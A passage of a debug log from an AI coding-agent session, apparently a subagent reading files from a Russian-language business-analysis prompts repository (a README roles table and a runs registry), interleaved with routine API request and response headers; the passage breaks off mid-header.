\u0432\\n[`ai-governance/ai-governance.md`](ai-governance/ai-governance.md).\\n\\n| \u0420\u043e\u043b\u044c | \u041a\u0442\u043e | \u041e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c |\\n| --- | --- | --- |\\n| \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c | \u0418\u0432\u0430\u043d \u0413\u0443\u043b\u0438\u0435\u043d\u043a\u043e ([@G-Ivan-A](https://github.com/G-Ivan-A)) | Vision, \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. |\\n| Human reviewer | \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0430 issue/PR | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, \u0440\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u043e merge. |\\n| Contributor | \u043b\u044e\u0431\u043e\u0439 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a | \u0421\u043e\u0437\u0434\u0430\u0451\u0442 issues, \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438 pull requests \u0432\u043d\u0443\u0442\u0440\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c / AI agent | \u043f\u043e issue | \u0413\u043e\u0442\u043e\u0432\u0438\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0438, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 summaries \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 scope issue. |\\n\\n\u0412\u043e\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0447\u0435\u0440\u0435\u0437 [GitHub Issues](https://github.com/G-Ivan-A/mango_ba_prompts/issues).\\n\\n## \ud83d\udcc4 \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f\\n\\n[MIT](LICENSE).\",\n[2026-09-29T07:44:34.255Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:34.255Z] [INFO]       }\n[2026-09-29T07:44:34.255Z] [INFO]     ]\n[2026-09-29T07:44:34.255Z] [INFO]   },\n[2026-09-29T07:44:34.255Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"uuid\": \"bff55721-f916-4685-8f64-62e06212fcbd\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:34.247Z\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:34.255Z] [INFO] }\n[2026-09-29T07:44:34.405Z] [STDOUT] [log_e25721, request-id: \"req_011CfXMgyn1gNi8PveuHzSkm\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 886ms\n[2026-09-29T07:44:34.408Z] [STDOUT] [log_e25721] response start {\n[2026-09-29T07:44:34.410Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:34.413Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:34.416Z] [STDOUT]   headers: {\n[2026-09-29T07:44:34.423Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:34.428Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:34.434Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:34.440Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:34.446Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:34.451Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:34.455Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:34.458Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:34.461Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:34.465Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:34.467Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:34.470Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:34.472Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:34.474Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:34.478Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:34.480Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:34.483Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:34.485Z] [STDOUT]     \"cf-ray\": \"a4295d018ffc29ad-FRA\",\n[2026-09-29T07:44:34.487Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:34.491Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:34.494Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:34.497Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:34.502Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:34 GMT\",\n[2026-09-29T07:44:34.506Z] [STDOUT]     \"request-id\": \"req_011CfXMgyn1gNi8PveuHzSkm\",\n[2026-09-29T07:44:34.507Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:34.510Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:34.512Z] [STDOUT]     traceresponse: \"00-37e0d0145ce00ce264ca8f360aaa5e41-8b923ed52b67b116-01\",\n[2026-09-29T07:44:34.517Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:34.521Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:34.526Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:34.531Z] [STDOUT]   },\n[2026-09-29T07:44:34.537Z] [STDOUT]   durationMs: 886,\n[2026-09-29T07:44:34.540Z] [STDOUT] }\n[2026-09-29T07:44:34.544Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:34.549Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:34 GMT\",\n[2026-09-29T07:44:34.551Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:34.553Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:34.555Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:34.560Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:34.564Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:34.568Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:34.571Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:34.576Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:34.579Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:34.586Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:34.591Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:34.594Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:34.598Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:34.603Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:34.612Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:34.617Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:34.624Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:34.629Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:34.633Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:34.636Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:34.638Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:34.642Z] [STDOUT]   \"request-id\": \"req_011CfXMgyn1gNi8PveuHzSkm\",\n[2026-09-29T07:44:34.646Z] [STDOUT]   \"traceresponse\": \"00-37e0d0145ce00ce264ca8f360aaa5e41-8b923ed52b67b116-01\",\n[2026-09-29T07:44:34.651Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:34.658Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:34.661Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:34.663Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:34.668Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:34.673Z] [STDOUT]   \"cf-ray\": \"a4295d018ffc29ad-FRA\",\n[2026-09-29T07:44:34.676Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:34.681Z] [STDOUT] [log_e25721] response parsed {\n[2026-09-29T07:44:34.685Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:34.690Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:34.695Z] [STDOUT]   body: X {\n[2026-09-29T07:44:34.701Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:34.707Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:34.710Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:34.714Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:34.718Z] [STDOUT]     },\n[2026-09-29T07:44:34.722Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:34.727Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:34.734Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:34.739Z] [STDOUT]   },\n[2026-09-29T07:44:34.742Z] [STDOUT]   durationMs: 887,\n[2026-09-29T07:44:34.744Z] [STDOUT] }\n[2026-09-29T07:44:34.752Z] [INFO] {\n[2026-09-29T07:44:34.752Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"message\": {\n[2026-09-29T07:44:34.752Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:34.752Z] [INFO]     \"content\": [\n[2026-09-29T07:44:34.752Z] [INFO]       {\n[2026-09-29T07:44:34.752Z] [INFO]         \"tool_use_id\": \"toolu_01Urgm1Cr3P4HtC49pT1ABmJ\",\n[2026-09-29T07:44:34.752Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:34.752Z] [INFO]         \"content\": \"\\nOutput too large (46.5KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bnrrmjq9l.txt\\n\\nPreview (first 2KB):\\n---\\nstatus: draft\\nversion: 0.7\\nupdated: 2026-09-28\\nai-generated: true\\ntype: registry\\nscope: runs\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/123\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/271\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/293\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/279\\\"\\nrelated_artifacts:\\n  - \\\"standards/runs-contract-standard.md\\\"\\n  - \\\"docs/analysis/2026-08-21-runs-type-gap-analysis.md\\\"\\n---\\n\\n# Runs: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n\\n`runs/` \u2014 \u0435\u0434\u0438\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u0417\u0434\u0435\u0441\u044c \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f\\n\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0430\u043d\u0430\u043b\u0438\u0437\u043e\u0432 \u0438 self-test \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432.\\n\u041c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `docs/`, `prompts/`, `patterns/` \u0438\\n`standards/`; \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u0438\u0445 \u043f\u0440\u0430\u0432\u0438\u043b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u044e\u0434\u0430.\\n\\n## \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0437\u0430\u043f\u0438\u0441\u0438\\n\\n\u041a\u0430\u0436\u0434\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0436\u0438\u0432\u0451\u0442 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 `runs/YYYY/RUN-XXXX/`.\\n\\n```text\\nruns/\\n\u2514\u2500\u2500 YYYY/\\n    \u2514\u2500\u2500 RUN-XXXX/\\n        \u251c\u2500\u2500 metadata.yaml\\n        \u251c\u2500\u2500 inputs/\\n        \u251c\u2500\u2500 outputs/\\n        \u251c\u2500\u2500 feedback/\\n        \u2514\u2500\u2500 logs/\\n```\\n\\n`metadata.yaml` \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u043e\u043b\u0435\u0439:\\n\\n| \u041f\u043e\u043b\u0435 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- |\\n| `run_id` | \u0434\u0430 | \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0432\u0438\u0434\u0430 `RUN-XXXX`, \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c \u043f\u0430\u043f\u043a\u0438. |\\n| `process` | \u0434\u0430 | \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u043b\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f. |\\n| `version` | \u0434\u0430 | \u0412\u0435\u0440\u0441\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0438\u043b\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. |\\n| `date` | \u0434\u0430 | \u0414\u0430\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 `YYYY-MM-DD`. |\\n| `author` | \u0434\u0430 | \u0410\u0432\u0442\u043e\u0440 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u0411\u0410, \u0447\u0435\u043b\u043e\u0432\u0435\u043a+LLM \u0438\u043b\u0438 \u0430\u0433\u0435\u043d\u0442. |\\n| `model` | \u0434\u0430 | \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c; \u0435\u0441\u043b\u0438 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u0430, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f `not-recorded`. |\\n| `status` | \u0434\u0430 | \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 `draft`, `experimental`, `success`, `partial-success`, `works-with-edits`. |\\n| `run_type` | \u0434\u0430 (\u043a\u0440\u043e\u043c\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043e issue #293) | \u0422\u0438\u043f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: `execution`, `statistics` \u0438\u043b\u0438 `legacy`. \u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `execution`. |\\n\\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b: `source_paths`, `inputs`, `outputs`, `logs`,\\n...\\n\",\n[2026-09-29T07:44:34.752Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:34.752Z] [INFO]       }\n[2026-09-29T07:44:34.752Z] [INFO]     ]\n[2026-09-29T07:44:34.752Z] [INFO]   },\n[2026-09-29T07:44:34.752Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"uuid\": \"e06046b2-78dc-4b1e-9338-9c2c46b7a4a4\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:34.428Z\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:34.752Z] [INFO] }\n[2026-09-29T07:44:34.759Z] [STDOUT] [log_38365b] sending request {\n[2026-09-29T07:44:34.766Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:34.771Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:34.777Z] [STDOUT]   options: {\n[2026-09-29T07:44:34.796Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:34.805Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:34.811Z] [STDOUT]     body: {\n[2026-09-29T07:44:34.816Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:34.821Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:34.825Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:34.833Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:34.844Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:34.846Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:34.851Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:34.855Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:34.862Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:34.868Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:34.881Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:34.886Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:34.889Z] [STDOUT]     },\n[2026-09-29T07:44:34.894Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:34.898Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:34.901Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:34.908Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:34.912Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:34.918Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:34.923Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:34.929Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:34.937Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:34.940Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:34.948Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:34.952Z] [STDOUT]     },\n[2026-09-29T07:44:34.955Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:34.960Z] [STDOUT]   },\n[2026-09-29T07:44:34.964Z] [STDOUT]   headers: {\n[2026-09-29T07:44:34.969Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:34.974Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:34.979Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:34.992Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:34.999Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:35.002Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:35.006Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:35.010Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:35.017Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:35.020Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:35.027Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:35.032Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1584;Bash=1551\",\n[2026-09-29T07:44:35.036Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:35.039Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:35.043Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:35.053Z] [STDOUT]     \"x-client-request-id\": \"d8c33eab-8270-4f40-9335-42c24c12a99b\",\n[2026-09-29T07:44:35.056Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:35.061Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:35.065Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:35.073Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:35.079Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:35.082Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:35.087Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:35.091Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:35.094Z] [STDOUT]   },\n[2026-09-29T07:44:35.101Z] [STDOUT] }\n[2026-09-29T07:44:35.106Z] [STDOUT] [log_fddf89, request-id: \"req_011CfXMgzbd7kwZRJVEot1qg\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 820ms\n[2026-09-29T07:44:35.111Z] [STDOUT] [log_fddf89] response start {\n[2026-09-29T07:44:35.119Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:35.123Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:35.127Z] [STDOUT]   headers: {\n[2026-09-29T07:44:35.134Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:35.143Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:35.147Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:35.151Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:35.154Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:35.156Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:35.163Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:35.165Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:35.172Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:35.177Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:35.184Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:35.188Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:35.192Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:35.195Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:35.200Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:35.205Z] [STDOUT]     \"cache-control\": 